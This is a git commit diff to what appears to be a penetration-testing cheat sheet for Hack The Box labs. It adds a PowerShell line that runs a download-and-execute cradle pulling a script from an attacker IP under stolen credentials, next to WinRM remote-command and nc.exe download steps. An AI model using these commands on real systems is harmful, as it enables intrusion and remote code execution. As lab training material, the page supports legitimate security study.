GitBook: [master] one page modified
This commit is contained in:
parent
c27f109d1c
commit
576c1636b5
@ -242,6 +242,11 @@ Domain : HTB
|
||||
#CREATE A CREDENTIAL OBJECT
|
||||
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
|
||||
|
||||
#For local:
|
||||
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
|
||||
|
||||
#For WINRM
|
||||
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
|
||||
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
|
||||
#DOWNLOAD nc.exe
|
||||
|
Loading…
Reference in New Issue
Block a user